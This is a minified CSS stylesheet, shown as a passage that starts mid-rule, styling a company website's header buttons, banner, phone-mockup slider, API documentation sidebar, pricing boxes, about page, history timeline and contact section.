0;vertical-align:middle} +ul.actions li:last-child{padding-right:0} +ul.actions.small li{padding:0 .5em 0 0} +ul.actions.vertical li{display:block;padding:1em 0 0 0} +ul.actions.vertical li:first-child{padding-top:0} +ul.actions.vertical li>*{margin-bottom:0} +ul.actions.vertical.small li{padding:.5em 0 0 0} +ul.actions.vertical.small li:first-child{padding-top:0} +ul.actions.fit{display:table;margin-left:-1em;padding:0;table-layout:fixed;width:calc(100% + 1em)} +ul.actions.fit li{display:table-cell;padding:0 0 0 1em} +ul.actions.fit li>*{margin-bottom:0} +ul.actions.fit.small{margin-left:-.5em;width:calc(100% + .5em)} +ul.actions.fit.small li{padding:0 0 0 .5em} +@media screen and (max-width:480px) and (orientation:portrait){ul.actions{margin:0 0 2em 0} +ul.actions li{padding:1em 0 0 0;display:block;text-align:center;width:100%} +ul.actions li:first-child{padding-top:0} +ul.actions li>*{width:100%;margin:0!important} +ul.actions li>.icon:before{margin-left:-2em} +ul.actions.small li{padding:.5em 0 0 0} +ul.actions.small li:first-child{padding-top:0} +} +ul.alt>li{border-top-color:#e6e6e6} +.spotlight{margin:0 0 2em 0} +.spotlight .image{width:45%;float:left} +.spotlight .image img{display:block;width:100%} +.spotlight .content{width:55%;float:right;text-align:center;padding-top:8em} +.spotlight:nth-child(2n) .image{float:right} +.spotlight:nth-child(2n) .content{float:left} +@media screen and (max-width:1280px){.spotlight .content{padding-top:7em} +} +@media screen and (max-width:980px){.spotlight .content{padding-top:5em} +} +@media screen and (max-width:840px){.spotlight .content{padding-top:3.5em} +} +@media screen and (max-width:736px) and (orientation:landscape){.spotlight .content,.spotlight .image{float:none;width:100%} +.spotlight:nth-child(2n) .content,.spotlight:nth-child(2n) .image{float:none} +.spotlight .content{padding-top:1em} +.spotlight .image img{width:60%;margin:0 auto} +} +@media screen and (max-width:736px) and (orientation:portrait){.spotlight .content,.spotlight .image{float:none;width:100%} +.spotlight:nth-child(2n) .content,.spotlight:nth-child(2n) .image{float:none} +.spotlight .content{padding-top:1em} +.spotlight .image img{width:60%;margin:0 auto} +} +@media screen and (max-width:480px){.spotlight .image img{width:80%} +} +.table-wrapper{-webkit-overflow-scrolling:touch;overflow-x:auto} +table{margin:0 0 2em 0;width:100%} +table tbody tr{border:solid 1px #e0e0e0;border-left:0;border-right:0} +table tbody tr:nth-child(2n+1){background-color:#f7f7f7} +table td{padding:.75em .75em;font-size:.7em;line-height:1.8em} +table th{color:#787878;font-size:.8em;font-weight:400;padding:0 .75em .75em .75em;text-align:left} +table thead{border-bottom:solid 2px #e0e0e0} +table tfoot{border-top:solid 2px #e0e0e0} +table.alt{border-collapse:separate} +table.alt tbody tr td{border:solid 2px #e0e0e0;border-left-width:0;border-top-width:0} +table.alt tbody tr td:first-child{border-left-width:2px} +table.alt tbody tr:first-child td{border-top-width:2px} +table.alt thead{border-bottom:0} +table.alt tfoot{border-top:0} +.button,input[type=button],input[type=reset],input[type=submit]{-moz-appearance:none;-webkit-appearance:none;-ms-appearance:none;appearance:none;-moz-transition:background-color .2s ease-in-out,color .2s ease-in-out;-webkit-transition:background-color .2s ease-in-out,color .2s ease-in-out;-ms-transition:background-color .2s ease-in-out,color .2s ease-in-out;transition:background-color .2s ease-in-out,color .2s ease-in-out;background-color:#666;border-radius:6px;border:0;color:#fff;cursor:pointer;display:inline-block;font-weight:400;height:2.7em;line-height:2.7em;padding:0 2em;text-align:center;text-decoration:none;white-space:nowrap} +.button:hover,input[type=button]:hover,input[type=reset]:hover,input[type=submit]:hover{background-color:#737373} +.button:active,input[type=button]:active,input[type=reset]:active,input[type=submit]:active{background-color:#595959} +.button.icon,input[type=button].icon,input[type=reset].icon,input[type=submit].icon{padding-left:1.35em} +.button.icon:before,input[type=button].icon:before,input[type=reset].icon:before,input[type=submit].icon:before{margin-right:.5em} +.button.fit,input[type=button].fit,input[type=reset].fit,input[type=submit].fit{display:block;margin:0 0 1em 0;width:100%} +.button.small,input[type=button].small,input[type=reset].small,input[type=submit].small{font-size:.8em;height:2.5em;line-height:2.5em} +.button.big,input[type=button].big,input[type=reset].big,input[type=submit].big{font-size:1.25em;height:3em;line-height:3em} +.button.alt,input[type=button].alt,input[type=reset].alt,input[type=submit].alt{background-color:transparent;border:1px solid #fff;color:#fff} +.button.alt:hover,input[type=button].alt:hover,input[type=reset].alt:hover,input[type=submit].alt:hover{background-color:rgba(255,255,255,.1);color:#fff!important} +.button.alt:active,input[type=button].alt:active,input[type=reset].alt:active,input[type=submit].alt:active{background-color:rgba(255,255,255,.1)} +.button.alt.icon:before,input[type=button].alt.icon:before,input[type=reset].alt.icon:before,input[type=submit].alt.icon:before{color:#999} +.button.special,button.special,input[type=button].special,input[type=reset].special,input[type=submit].special{box-shadow:none;background-color:#0767aa;color:#fff!important} +.button.special:hover,button.special:hover,input[type=button].special:hover,input[type=reset].special:hover,input[type=submit].special:hover{-moz-opacity:.8;opacity:.8} +.button.special:active,button.special:active,input[type=button].special:active,input[type=reset].special:active,input[type=submit].special:active{background-color:#3089e2} +.button.green,button.green,input[type=button].green,input[type=reset].green,input[type=submit].green{box-shadow:none;background-color:#8cbc21;color:#fff!important} +.button.green:hover,button.green:hover,input[type=button].green:hover,input[type=reset].green:hover,input[type=submit].green:hover{-moz-opacity:.8;opacity:.8} +.button.disabled,.button:disabled,input[type=button].disabled,input[type=button]:disabled,input[type=reset].disabled,input[type=reset]:disabled,input[type=submit].disabled,input[type=submit]:disabled{background-color:#777!important;box-shadow:inset 0 -.15em 0 0 rgba(0,0,0,.15);color:#f5f5f5!important;cursor:default;opacity:.25} +@-moz-keyframes spin{0%{-moz-transform:rotate(0);-webkit-transform:rotate(0);-ms-transform:rotate(0);transform:rotate(0)} +100%{-moz-transform:rotate(360deg);-webkit-transform:rotate(360deg);-ms-transform:rotate(360deg);transform:rotate(360deg)} +} +@-webkit-keyframes spin{0%{-moz-transform:rotate(0);-webkit-transform:rotate(0);-ms-transform:rotate(0);transform:rotate(0)} +100%{-moz-transform:rotate(360deg);-webkit-transform:rotate(360deg);-ms-transform:rotate(360deg);transform:rotate(360deg)} +} +@-ms-keyframes spin{0%{-moz-transform:rotate(0);-webkit-transform:rotate(0);-ms-transform:rotate(0);transform:rotate(0)} +100%{-moz-transform:rotate(360deg);-webkit-transform:rotate(360deg);-ms-transform:rotate(360deg);transform:rotate(360deg)} +} +@keyframes spin{0%{-moz-transform:rotate(0);-webkit-transform:rotate(0);-ms-transform:rotate(0);transform:rotate(0)} +100%{-moz-transform:rotate(360deg);-webkit-transform:rotate(360deg);-ms-transform:rotate(360deg);transform:rotate(360deg)} +} +.poptrox-popup{-moz-box-sizing:content-box;-webkit-box-sizing:content-box;-ms-box-sizing:content-box;box-sizing:content-box;-webkit-tap-highlight-color:rgba(255,255,255,0);background:#fff;border-radius:.35em;box-shadow:0 .1em .15em 0 rgba(0,0,0,.15);overflow:hidden;padding-bottom:3em} +.poptrox-popup .loader{text-decoration:none;-moz-animation:spin 1s linear infinite;-webkit-animation:spin 1s linear infinite;-ms-animation:spin 1s linear infinite;animation:spin 1s linear infinite;font-size:1.5em;height:1em;left:50%;line-height:1em;margin:-.5em 0 0 -.5em;position:absolute;top:50%;width:1em} +.poptrox-popup .loader:before{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;font-family:FontAwesome;font-style:normal;font-weight:400;text-transform:none!important} +.poptrox-popup .loader:before{content:'\f1ce'} +.poptrox-popup .caption{background:#fff;bottom:0;cursor:default;font-size:.9em;height:3em;left:0;line-height:2.8em;position:absolute;text-align:center;width:100%;z-index:1} +.poptrox-popup .nav-next,.poptrox-popup .nav-previous{text-decoration:none;-moz-transition:opacity .2s ease-in-out;-webkit-transition:opacity .2s ease-in-out;-ms-transition:opacity .2s ease-in-out;transition:opacity .2s ease-in-out;-webkit-tap-highlight-color:rgba(255,255,255,0);background:rgba(0,0,0,.01);cursor:pointer;height:100%;opacity:0;position:absolute;top:0;width:50%} +.poptrox-popup .nav-next:before,.poptrox-popup .nav-previous:before{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;font-family:FontAwesome;font-style:normal;font-weight:400;text-transform:none!important} +.poptrox-popup .nav-next:before,.poptrox-popup .nav-previous:before{color:#fff;font-size:2.5em;height:1em;line-height:1em;margin-top:-.75em;position:absolute;text-align:center;top:50%;width:1.5em} +.poptrox-popup .nav-next{right:0} +.poptrox-popup .nav-next:before{content:'\f105';right:0} +.poptrox-popup .nav-previous{left:0} +.poptrox-popup .nav-previous:before{content:'\f104';left:0} +.poptrox-popup .closer{text-decoration:none;-moz-transition:opacity .2s ease-in-out;-webkit-transition:opacity .2s ease-in-out;-ms-transition:opacity .2s ease-in-out;transition:opacity .2s ease-in-out;-webkit-tap-highlight-color:rgba(255,255,255,0);color:#fff;height:4em;line-height:4em;opacity:0;position:absolute;right:0;text-align:center;top:0;width:4em;z-index:2} +.poptrox-popup .closer:before{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;font-family:FontAwesome;font-style:normal;font-weight:400;text-transform:none!important} +.poptrox-popup .closer:before{-moz-box-sizing:content-box;-webkit-box-sizing:content-box;-ms-box-sizing:content-box;box-sizing:content-box;border-radius:100%;border:solid 3px rgba(255,255,255,.5);content:'\f00d';display:block;font-size:1em;height:1.75em;left:50%;line-height:1.75em;margin:-.875em 0 0 -.875em;position:absolute;top:50%;width:1.75em} +.poptrox-popup:hover .nav-next,.poptrox-popup:hover .nav-previous{opacity:.5} +.poptrox-popup:hover .nav-next:hover,.poptrox-popup:hover .nav-previous:hover{opacity:1} +.poptrox-popup:hover .closer{opacity:.5} +.poptrox-popup:hover .closer:hover{opacity:1} +.work-item{margin:0 0 2em 0} +.work-item .image{margin:0 0 1.5em 0} +.work-item h3{font-size:1em;margin:0 0 .5em 0} +.work-item p{font-size:.8em;line-height:1.5em;margin:0} +body.is-touch .image.thumb:before{opacity:.5!important} +body.is-touch .image.thumb:after{display:none!important} +body.is-touch #header{background-attachment:scroll;background-size:auto,cover} +body.is-touch .poptrox-popup .closer,body.is-touch .poptrox-popup .nav-next,body.is-touch .poptrox-popup .nav-previous{opacity:1!important} +#page-wrapper{padding-top:3.25em;height:100%} +body.landing #page-wrapper{padding-top:0} +@-moz-keyframes reveal-header{0%{top:-5em} +100%{top:0} +} +@-webkit-keyframes reveal-header{0%{top:-5em} +100%{top:0} +} +@-ms-keyframes reveal-header{0%{top:-5em} +100%{top:0} +} +@keyframes reveal-header{0%{top:-5em} +100%{top:0} +} +#header{background-color:#fff;color:#333;cursor:default;height:3.25em;left:0;line-height:3.25em;position:fixed;top:0;width:100%;z-index:10000;box-shadow:0 0 2px rgba(0,0,0,.5)} +#header h1{color:inherit;height:inherit;left:1.25em;line-height:inherit;margin:0;padding:0;position:absolute;top:0} +#header h1 img{display:block} +#header nav{height:inherit;line-height:inherit;position:absolute;top:0;vertical-align:middle} +#header nav#nav{left:13em} +#header nav#navRight{right:1.5em} +#header nav#navRight li a:not(.button){margin-right:1em} +#header nav>ul{list-style:none;margin:0;padding-left:0} +#header nav>ul>li{display:inline-block} +#header nav>ul>li>ul{display:none} +#header nav>ul>li a{display:inline-block;height:2.3em;line-height:2.3em;font-size:.9em;border-radius:6px} +#header nav>ul>li a:not(.button){color:#333;display:inline-block;text-decoration:none;border:0;padding:0 1.2em} +#header nav>ul>li a:not(.button).icon:before{color:#333;position:absolute;right:0;top:0} +#header nav>ul>li:first-child{margin-left:0} +#header nav>ul>li .button{margin:0 0 0 .5em;position:relative} +#header .button.login_btn,#header .button.register_btn,#header input[type=button],#header input[type=reset],#header input[type=submit]{background-color:#0767aa;box-shadow:0;color:#fff;padding:0 1.5em} +#header .button.register_btn{background-color:#8cbc21} +#header .button:hover,#header input[type=button]:hover,#header input[type=reset]:hover,#header input[type=submit]:hover{-moz-opacity:.8;opacity:.8;color:#fff!important} +#header .button:active,#header input[type=button]:active,#header input[type=reset]:active,#header input[type=submit]:active{-moz-opacity:.5;opacity:.5} +#header.reveal{-moz-animation:reveal-header .5s;-webkit-animation:reveal-header .5s;-ms-animation:reveal-header .5s;animation:reveal-header .5s} +#header.alt{-moz-animation:none;-webkit-animation:none;-ms-animation:none;animation:none;position:absolute;background-color:rgba(255,255,255,.7);color:#333;box-shadow:none} +.dropotron{background:#fff;border-radius:6px;box-shadow:0 2px 0 0 rgba(0,0,0,.065),inset 0 -1px 0 0 #fff,inset 0 0 0 1px rgba(229,229,229,.5);list-style:none;margin:calc(-.5em + 1px) 0 0 1px;padding:.5em 0;width:11em} +.dropotron li{padding:0} +.dropotron li a,.dropotron li span{-moz-transition:none;-webkit-transition:none;-ms-transition:none;transition:none;border:0;color:inherit;display:block;padding:.15em 1em;text-align:center} +.dropotron li.active>a,.dropotron li.active>span,.dropotron li:hover>a,.dropotron li:hover>span{color:#0767aa} +.dropotron.level-0{font-size:.8em;margin:.8em 0 0 0} +.dropotron.level-0:before{-moz-transform:rotate(45deg);-webkit-transform:rotate(45deg);-ms-transform:rotate(45deg);transform:rotate(45deg);background:#fff;border:solid 1px rgba(229,229,229,.5);border-bottom:0;border-right:0;box-shadow:-.25em -.125em .125em 0 rgba(0,0,0,.015);content:'';display:block;height:.75em;position:absolute;right:1.25em;top:-.375em;width:.75em;z-index:0} +@-moz-keyframes banner{0%{-moz-transform:translate3d(2em,0,0);-webkit-transform:translate3d(2em,0,0);-ms-transform:translate3d(2em,0,0);transform:translate3d(2em,0,0);opacity:0} +100%{-moz-transform:translate3d(0,0,0);-webkit-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1} +} +@-webkit-keyframes banner{0%{-moz-transform:translate3d(2em,0,0);-webkit-transform:translate3d(2em,0,0);-ms-transform:translate3d(2em,0,0);transform:translate3d(2em,0,0);opacity:0} +100%{-moz-transform:translate3d(0,0,0);-webkit-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1} +} +@-ms-keyframes banner{0%{-moz-transform:translate3d(2em,0,0);-webkit-transform:translate3d(2em,0,0);-ms-transform:translate3d(2em,0,0);transform:translate3d(2em,0,0);opacity:0} +100%{-moz-transform:translate3d(0,0,0);-webkit-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1} +} +@keyframes banner{0%{-moz-transform:translate3d(2em,0,0);-webkit-transform:translate3d(2em,0,0);-ms-transform:translate3d(2em,0,0);transform:translate3d(2em,0,0);opacity:0} +100%{-moz-transform:translate3d(0,0,0);-webkit-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1} +} +@-moz-keyframes image{0%{-moz-transform:translate3d(0,2em,0);-webkit-transform:translate3d(2em,0,0);-ms-transform:translate3d(0,2em,0);transform:translate3d(0,2em,0);opacity:0} +100%{-moz-transform:translate3d(0,0,0);-webkit-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1} +} +@-webkit-keyframes image{0%{-moz-transform:translate3d(0,2em,0);-webkit-transform:translate3d(2em,0,0);-ms-transform:translate3d(0,2em,0);transform:translate3d(0,2em,0);opacity:0} +100%{-moz-transform:translate3d(0,0,0);-webkit-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1} +} +@-ms-keyframes image{0%{-moz-transform:translate3d(0,2em,0);-webkit-transform:translate3d(2em,0,0);-ms-transform:translate3d(0,2em,0);transform:translate3d(0,2em,0);opacity:0} +100%{-moz-transform:translate3d(0,0,0);-webkit-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1} +} +@keyframes image{0%{-moz-transform:translate3d(0,2em,0);-webkit-transform:translate3d(2em,0,0);-ms-transform:translate3d(0,2em,0);transform:translate3d(0,2em,0);opacity:0} +100%{-moz-transform:translate3d(0,0,0);-webkit-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1} +} +.banner{color:#fff;padding:8.5em 0 2.5em 0} +.banner .banner_text{-moz-animation:banner 1s 0s forwards;-webkit-animation:banner 1s 0s forwards;-ms-animation:banner 1s 0s forwards;animation:banner 1s 0s forwards;-moz-backface-visibility:hidden;-webkit-backface-visibility:hidden;-ms-backface-visibility:hidden;backface-visibility:hidden;-moz-transform:translate3d(0,0,0);-webkit-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:0;text-align:left;float:left;width:60%;margin:4em 0 0 0} +.banner .banner_text>:last-child{margin-bottom:0} +.banner .banner_text h2{color:#fff;font-size:2.2em;margin-bottom:1em} +.banner .banner_text h2 span{display:inline-block;vertical-align:middle} +.banner .banner_text h2 img{vertical-align:middle;padding-right:1em;border-right:1px solid #fff;margin-right:1em} +.banner .banner_text p{font-size:1.3em;margin-bottom:1em} +.banner .banner_text p span{color:#8cbc21;padding:0 5px} +.banner .banner_img{float:right;width:40%;text-align:center} +.banner .banner_img img.ie_img{display:none} +.banner .image{-moz-animation:image 1s .2s forwards;-webkit-animation:image 1s .2s forwards;-ms-animation:image 1s .2s forwards;animation:image 1s .2s forwards;-moz-backface-visibility:hidden;-webkit-backface-visibility:hidden;-ms-backface-visibility:hidden;backface-visibility:hidden;-moz-transform:translate3d(0,0,0);-webkit-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:0} +.banner .image img{-moz-transition:opacity .75s ease;-webkit-transition:opacity .75s ease;-ms-transition:opacity .75s ease;transition:opacity .75s ease;-moz-transition-delay:.75s;-webkit-transition-delay:.75s;-ms-transition-delay:.75s;transition-delay:.75s;opacity:1;max-width:100%;width:auto} +.image.phone{box-shadow:none;border-radius:0;margin:0 0 3em 0;width:13em} +.image.phone .inner,.image.phone:after,.image.phone:before{display:block;border:solid 2px rgba(255,255,255,.5)} +.image.phone .inner{position:relative} +.image.phone .inner:after,.image.phone .inner:before{content:'';position:absolute;left:50%} +.image.phone .inner:before{top:-1.375em;margin-left:-1em;width:2em;height:.25em;border-radius:.5em;background:rgba(255,255,255,.5)} +.image.phone .inner:after{bottom:-2.75em;margin-left:-1em;width:2em;height:2em;border-radius:100%;border:solid 2px rgba(255,255,255,.5)} +.image.phone:after,.image.phone:before{content:''} +.image.phone:before{height:2.5em;border-radius:1em 1em 0 0;border-bottom:0} +.image.phone:after{height:3.5em;border-radius:0 0 1em 1em;border-top:0} +.slide_box{width:100%;height:18.4em;overflow:hidden;background-image:url(../images/screen.jpg);background-repeat:no-repeat;position:relative} +.slider_pic{padding:0;margin:0} +.slider_pic li{height:100%;width:100%;padding:0;margin:0;text-align:center;position:absolute;top:0;left:100%} +.slider_pic li.beijia_img img{padding:2.8em .5em} +.slider_pic li.weixin_img{padding:2.6em 1.2em;font-size:1.2em} +.slider_pic li.weixin_img img{display:inline-block} +.slider_btn{position:absolute;bottom:.5em;left:0;text-align:center;width:100%} +.slider_btn li{display:inline-block;width:8px;height:8px;border-radius:100%;border:1px solid #fff} +.slider_btn li.on{background-color:#fff} +.main{min-height:60%} +section.main{margin-bottom:0!important} +.cd-fixed-bg{position:relative;background-size:cover;background-repeat:no-repeat;background-position:center center;background-attachment:fixed;z-index:1;padding:6em 0} +.cd-fixed-bg.banner{padding:8.5em 0 2.5em 0} +.cd-fixed-bg.cd-bg-1{background-image:url(../images/pic01.jpg)} +.cd-scrolling-bg{position:relative;padding:4em 0;z-index:2} +.cd-scrolling-bg.bg_white{background-color:#fff} +.cd-scrolling-bg.bg_gary{background-color:#eaecf8} +.cd-scrolling-bg.bottom_bg{padding:0} +@media only screen and (max-width:1170px){.cd-fixed-bg{background-attachment:scroll} +.cd-fixed-bg,.cd-scrolling-bg{padding:3em 0} +} +@media only screen and (max-width:840px){.cd-fixed-bg,.cd-scrolling-bg{padding:2em 0} +} +.use_advantage{margin:0 4em} +.advantage_img img{width:7em;height:7em} +@media screen and (max-width:840px){.use_advantage{margin:0 2em} +} +.konw_morebox{padding:3em 0 3em 0;background:#0767aa} +a.know_more{display:block;text-align:center;position:relative;width:13em;height:13em;padding:1em;border-radius:100%;background-color:rgba(255,255,255,.3);color:#fff;margin:0 auto;transition:all .6s ease 0s} +.know_more:before{font-size:3em;line-height:1.5em;color:rgba(255,255,255,.5)} +a.know_more:hover{transform:scale(1.1);color:#fff!important;background-color:rgba(255,255,255,.4)} +.know_more h4{margin-bottom:.5em;color:#fff} +.know_more p{line-height:1.5em} +@media screen and (max-width:980px){a.know_more{width:12em;height:12em;padding:.5em} +} +@media screen and (max-width:736px){.konw_morebox{padding:4em 0 2em 0} +a.know_more{width:13em;height:13em;padding:1em;margin-bottom:1em} +} +body.login_bg{height:100%;background-color:#fff;background-image:url(../images/pic03.jpg);background-repeat:no-repeat;background-size:cover;background-position:top center} +body.is-loading:after{opacity:1} +.login_main{position:absolute;top:50%;left:50%;margin-top:-11em;margin-left:-12em;max-width:100%;width:24em;padding:3em 3em 2em 3em;background:#fff;border-radius:4px;cursor:default;opacity:.95;text-align:center;-moz-transform-origin:50% 50%;-webkit-transform-origin:50% 50%;-ms-transform-origin:50% 50%;transform-origin:50% 50%;-moz-transform:rotateX(0);-webkit-transform:rotateX(0);-ms-transform:rotateX(0);transform:rotateX(0);-moz-transition:opacity 1s ease,-moz-transform 1s ease;-webkit-transition:opacity 1s ease,-webkit-transform 1s ease;-ms-transition:opacity 1s ease,-ms-transform 1s ease;transition:opacity 1s ease,transform 1s ease} +.login_main .button{width:100%} +@media screen and (max-width:480px){.login_main{min-width:0;width:100%;padding:2.5em 2.5em 1.5em 2.5em} +} +body.is-loading .login_main{opacity:0;-moz-transform:rotateX(15deg);-webkit-transform:rotateX(15deg);-ms-transform:rotateX(15deg);transform:rotateX(15deg)} +.login_warpper{-moz-perspective:1000px;-webkit-perspective:1000px;-ms-perspective:1000px;perspective:1000px;position:relative;padding:1.5em;z-index:2;height:100%} +.login_warpper>*{z-index:1} +.login_warpper:before{content:'';display:block} +@media screen and (max-width:360px){.login_warpper{padding:1em} +} +.doc_slide .doc_title{font-size:.8em} +.doc_title a{padding:0 .8em;border-radius:3px;line-height:2.6em;color:#333} +.doc_title.active a{background-color:#4696e5;color:#fff} +.doc_title.active a:hover{color:#fff!important} +.doc_slide{margin-bottom:.5em} +.doc_slide a{display:block} +.doc_slide ul{margin-bottom:0;padding-left:1.5em} +.doc_slide ul li{font-size:.8em} +.doc_slide ul li a{color:#8d8d8d} +.doc_slide ul li.active a{color:#4696e5} +h2.doc_text_title{border-bottom:1px solid #e0e0e0;padding-bottom:.8em} +.api_doc{padding-top:3em;padding-bottom:3em} +.api_doc_bar{height:500px;left:0;position:fixed;top:0;padding-top:6.25em;width:230px} +.api_doc_bar dl{padding:0 0 1.5em 0;margin:0} +.api_doc_bar dl dt{font-size:.9em;font-weight:400;line-height:1.5em;padding-bottom:.5em;width:100%} +.api_doc_bar dd{font-size:.8em;line-height:1.2em;padding:5px 0 5px 1em} +.api_doc_bar dl a{cursor:pointer;color:#333;display:block;padding:0 1.5em 0 1.5em} +.api_doc_bar dl dd a{color:#999} +.api_doc_bar dl a.active{color:#4696e5} +.api_doc_bar dl dt a{border-left:3px solid transparent} +.api_doc_bar dl dt a.active{border-left:3px solid #4696e5} +.api_doc_content{padding-left:250px} +..api_doc_content img,.doc_text img{max-width:100%} +.result_box img{width:300px;border:1px solid #e0e0e0} +.api_block{margin-bottom:4em} +.produce_block{margin-top:2em} +.fund_text h4{margin-bottom:.5em;font-size:1em} +.fund_text img{max-width:100%} +.fund_text .content p{line-height:1.5em;margin-bottom:.5em} +@media screen and (min-width:1200px){.api_doc_bar{width:230px} +} +@media screen and (max-width:1200px) and (min-width:840px){.api_doc_bar{width:170px} +} +@media screen and (max-width:840px) and (min-width:736px){.api_doc_bar{width:140px} +.api_doc_bar dl a{padding:0 1em 0 1em} +} +@media screen and (max-width:736px){.api_doc_bar{width:100%;position:static;height:auto;padding-top:1em;margin-bottom:2em;background-color:#f2f2f2} +.api_doc_bar dl dt{border-bottom:1px solid #e0e0e0} +.api_doc{padding-top:1em;padding-bottom:1em} +} +.cost_box{border:1px solid #e0e0e0;padding:3em 2em 3em 2em;position:relative;min-height:15.5em} +.cost_box .price{font-size:.8em;color:#333;line-height:1.5em;height:3em} +.cost_box .price span{font-size:1.2em;color:#ff9600} +.cost_box p{margin-bottom:0;line-height:2em} +.cost_tag{position:absolute;top:-5px;right:-5px;display:block;width:140px;height:140px;background-image:url(../images/tag.png);background-repeat:no-repeat;background-size:cover} +.cost_tag.tag02{background-image:url(../images/tag02.png)} +@media screen and (max-width:980px) and (min-width:736px){.cost_tag{width:110px;height:110px} +} +@media screen and (max-width:480px){.cost_tag{width:100px;height:100px} +} +.about_banner{width:100%;overflow:hidden;position:relative;height:399px} +.about_img{position:absolute;top:0;left:50%;margin-left:-960px;width:1920px;height:399px} +.about_img img{display:block;max-width:100%} +.block_text{padding-top:6em;padding-bottom:6em;border-bottom:1px solid #e0e0e0} +.block_text:last-child{border-bottom:0} +.about_info{text-align:center;width:800px;margin:0 auto} +.about_info img{margin-bottom:20px} +.about_info p{font-size:18px;line-height:40px} +@media screen and (max-width:1600px){.about_banner{height:333px} +.about_img{width:1600px;height:333px;margin-left:-800px} +} +@media screen and (max-width:1280px){.about_banner{height:266px} +.about_img{width:1280px;height:266px;margin-left:-640px} +} +@media screen and (max-width:980px){.about_banner{height:204px} +.about_img{width:980px;height:204px;margin-left:-490px} +.block_text{padding-top:4em;padding-bottom:4em} +.about_info{width:100%} +.about_info p{font-size:16px} +.about_info p{font-size:14px;line-height:30px} +} +@media screen and (max-width:980px){.block_text{padding-top:3em;padding-bottom:3em} +} +.history{position:relative;width:960px;margin:0 auto} +.history_main{background:url(../images/line_bg.png) repeat-y 200px top} +.history_main p{text-indent:0;margin-bottom:0} +.history_title{font-size:32px;text-align:center;margin-bottom:1.5em} +.year_div{position:relative;z-index:100} +.year_div h2{height:80px;width:80px;font-size:18px;border-radius:100%;background-color:#fff;border:4px solid #8cbc21;text-align:center;padding:16px 0;line-height:40px;display:block;margin-left:162px} +.year_div h2 a{color:#8cbc21} +.year_div h2 i{display:block;position:relative;height:0;width:0;left:50%;bottom:0;margin-left:-6px;border-width:6px;border-style:solid;border-color:#8cbc21 transparent transparent transparent;-webkit-transition:.5s;-moz-transition:.5s;-ms-transition:.5s;-o-transition:.5s;transition:.5s;-webkit-transform-origin:6px 3px;-moz-transform-origin:6px 3px;-ms-transform-origin:6px 3px;-o-transform-origin:6px 3px;transform-origin:6px 3px} +.year_div .list{margin:10px 0;position:relative;overflow:hidden;-webkit-transition:height 1s cubic-bezier(.025,.025,0,1.115),opacity 1s;-moz-transition:height 1s cubic-bezier(.025,.025,0,1.115),opacity 1s;-ms-transition:height 1s cubic-bezier(.025,.025,0,1.115),opacity 1s;-o-transition:height 1s cubic-bezier(.025,.025,0,1.115),opacity 1s;transition:height 1s cubic-bezier(.025,.025,0,1.115),opacity 1s} +.year_div .list ul{top:0;padding:0;margin:0;width:100%} +.year_div .list ul li{color:#a1a4b8;width:760px;position:relative;float:right;clear:both;padding:30px 0 30px 40px} +.circle{background:url(../images/circle.png) no-repeat;width:30px;height:30px;display:block;position:absolute;left:-13px;top:30px} +.year_div .list ul li.highlight .circle{background-position:0 -30px} +.year_div .list ul li .date{font-size:18px;margin-bottom:0;position:absolute;top:30px;text-align:right;left:-140px;width:100px;height:30px;line-height:30px} +.year_div .list ul li .company_info,.year_div .list ul li .intro{line-height:24px;margin-bottom:0} +.year_div .list ul li .intro{font-size:18px;line-height:30px;color:#8cbc21} +.year_div .list ul li .company_info p{font-size:14px;color:#777} +.year_div .list ul li.highlight .intro{color:#ff9600} +.year_div .list ul li .round_div{position:relative} +.year_div.close h2 i{transform:rotate(-90deg);-webkit-transform:rotate(-90deg);-moz-transform:rotate(-90deg);-ms-transform:rotate(-90deg);-o-transform:rotate(-90deg)} +.year_div.close .list{opacity:0;height:0!important} +@media screen and (max-width:960px){.history{width:800px} +.year_div .list ul li{width:600px} +.history_title{font-size:28px;margin-bottom:1em} +} +@media screen and (max-width:800px){.history{width:100%;padding-left:15px;padding-right:15px} +.history_main{background-position:30px 0} +.year_div h2{margin:0 0 0 -5px;width:70px;height:70px;font-size:16px;line-height:35px;padding:12px 0} +.year_div .list ul li{width:100%} +.year_div .list ul li .date{position:static;text-align:left;margin-bottom:5px;padding-left:30px} +.year_div .list ul li .round_div{padding-left:30px} +.circle{left:17px} +} +.contact_block{text-align:center;padding:1.5em 0 1.5em;height:320px;border:1px solid #e0e0e0} +.contact_text p{margin:0;font-size:14px;line-height:28px} +.contact_text h3{margin-bottom:15px;font-size:18px} +.button_box{padding-top:20px;color:#0767aa} +.weixin_box img{width:110px} +.cooperation{text-align:center} +.cooperation li{display:inline-block;padding:10px} +.cooperation li a{border:1px solid #e0e0e0;display:block;padding:2px 7px} +.cooperation li img{display:block;width:150px;height:60px} +.help_top{padding:0;background:#509ec0;background:-moz-linear-gradient(left,#6cc9b7 0,#509ec0 50%,#0767aa 100%);background:-webkit-gradient(linear,left,right,color-stop(0,#6cc9b7),color-stop(50%,#509ec0),color-stop(100%,#0767aa));background:-webkit-linear-gradient(left,#6cc9b7 0,#509ec0 50%,#0767aa 100%);background:-o-linear-gradient(left,#6cc9b7 0,#509ec0 50%,#0767aa 100%);background:-ms-linear-gradient(left,#6cc9b7 0,#509ec0 50%,#0767aa 100%);background:linear-gradient(to right,#6cc9b7 0,#509ec0 50%,#0767aa 100%)} +:root .gradient{filter:none} +.help_top img{display:block;margin:0 auto;max-width:100%} +.nav_title{font-size:14px;padding:20px 0} 